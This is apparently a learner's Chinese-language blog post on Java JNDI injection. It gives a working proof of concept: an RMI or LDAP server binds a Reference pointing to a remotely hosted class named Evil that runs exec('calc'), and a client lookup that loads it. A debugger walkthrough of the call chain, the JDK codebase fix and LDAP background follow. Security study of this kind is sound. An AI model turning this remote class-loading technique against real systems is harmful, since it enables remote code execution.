JavaSec 入门-06-JNDI
前言
艹了每天效率低下,疲乏无比。
学 RMI 又遇到了奇奇怪怪的问题,让我学会 jndi ,今天在 unk 帮助下终于调明白了 jar 包 java审计调试方式
JNDI 简介与使用
JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 平台的一部分,用于访问命名和目录服务的标准 API。它允许 Java 应用程序在各种命名或目录服务中查找数据或对象,例如:
命名服务:通过逻辑名称查找远程对象。
目录服务:查找和操作具有层次结构的属性数据。
RMI
LDAP
DNS
JNDI Reference
在 RMI 的基础上,简单做一个示例,先创建一个 rmi 服务,然后再创建 JNDI 的服务端和客户端,文件结构就是之前文章中的RMI 基础上再加上 JNDI 服务端和客户端:
以下操作为 jdk-8u65
服务端
我们可以显式创建 RMI ,使用 LocateRegistry.createRegistry
方法直接在本地创建 RMI 注册表(1099
端口)。这类似于设置一个基本的 RMI 服务端。
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
//创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
Reference refObj = new Reference("Evil","Evil","http://localhost:8081/");
initialContext.rebind("rmi://localhost:1099/evil",refObj);
}
}
恶意类
import java.io.IOException;
public class Evil {
public evilref() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
编译成.class 后在当前目录开一个http 服务使这个可以被读取
python -m http.server 8081
客户端
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/evil";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
在这个过程中 lookup 实际上就是去寻找了我们自定义的引用对象 Ref,然后实例化触发了计算器
跟进调试看一下流程
进到 InitialContext::lookup
再进到GenericURLContext::lookup
来到了RegistryContext
类中,调用了注册中心的lookup
方法
看到这里做了个对于引用 Wrapper 的decode
,对应的服务端肯定有一个encode
过程,我们去看一下
在服务端跟进之后也是类似的操作
进到RegistryContext
类中去encode
回到客户端继续去decode
进到NamingManager::getObjectInstance
再进到getObjectFactoryFromReference
获取对象工厂
去loadClass
最后在return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
去 newInstance
实例化来触发
修复
在2016年后对 RMI 对应的 context 进行了修复,添加了判断条件,JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly 的值默认为true。
LDAP绕过
在修复之后我们再运行就会因为trustURLCodebase
值默认变为了 false 而无法使用
什么是LDAP
LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol) 是一种用于访问和管理分布式目录信息的协议。它基于客户端-服务器模型,广泛应用于存储和检索信息,如用户认证、联系人目录、设备列表等。LDAP 是一种应用层协议,通常用于访问存储在目录服务中的数据。
1. LDAP 的基本概念
- 目录服务: LDAP 用于访问目录服务,目录服务是一个专门设计用来存储和查询信息的服务。目录中的数据通常是层次化结构的,类似于树形结构。一个常见的目录服务实现是 Active Directory(Microsoft)、OpenLDAP、Novell eDirectory 等。
- 目录树(Directory Tree): 目录数据通常是树状结构,这种结构叫做 目录信息树(DIT)。树的根节点和分支节点包含着信息,这些信息可以是各种对象,如用户、组、设备等。
- 条目(Entry): 目录中的每个对象称为“条目”。每个条目包含一组属性(例如,用户名、电子邮件、电话号码等),这些属性值可以是字符串、日期、电话号码等数据类型。
- DN(Distinguished Name): 每个条目在目录中的唯一标识符叫做 区分名(DN)。DN 描述了条目在目录树中的位置。例如:
2. LDAP 的常见用途
- 身份认证: LDAP 最常见的用途之一是提供身份验证服务。例如,许多组织使用 LDAP 来存储和管理用户的用户名和密码,并使用它来进行身份验证。
- 目录查询: LDAP 用于查询存储在目录中的信息。例如,查询某个用户的电话号码、电子邮件地址等。
- 地址簿: LDAP 被广泛用于电子邮件系统中,用于存储和查询用户的电子邮件地址和其他相关信息。
- 组织架构: LDAP 可以存储组织的人员信息、部门结构等,供公司内部使用。
3. LDAP 的工作原理
LDAP 基于客户端-服务器模型,通常的工作流程如下:
- 客户端请求: 客户端(如应用程序、Web 服务)向 LDAP 服务器发起请求。请求可以是查询、修改、删除等操作。
- 服务器响应: LDAP 服务器接收到请求后,基于请求的内容,从目录中查找或修改相应的条目,并返回结果。
- LDAP 操作: LDAP 支持多种操作,如:
- Bind(绑定): 用于认证客户端。客户端需要提供凭据(如用户名和密码)进行身份验证。
- Search(查询): 用于查找符合条件的条目。查询可以根据某些属性进行,如查找所有属于某个部门的员工。
- Add(添加): 向目录中添加新条目。
- Delete(删除): 从目录中删除条目。
- Modify(修改): 修改目录中的条目属性。
- 协议和端口: LDAP 通常使用 TCP 协议,默认端口为 389(非加密)和 636(加密,使用 SSL/TLS)。加密版本的 LDAP 叫做 LDAPS。
操作
服务端
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",refObj);
}
}
客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com");
}
}
参考文章
https://xz.aliyun.com/t/6633?accounttraceid=f1cfb53a08ea4817a70002bde405a556vkfe&time__1311=eq0xni0%3DDQi%3D0QXPGNSYZQKitktiIKwmExx#toc-0
https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/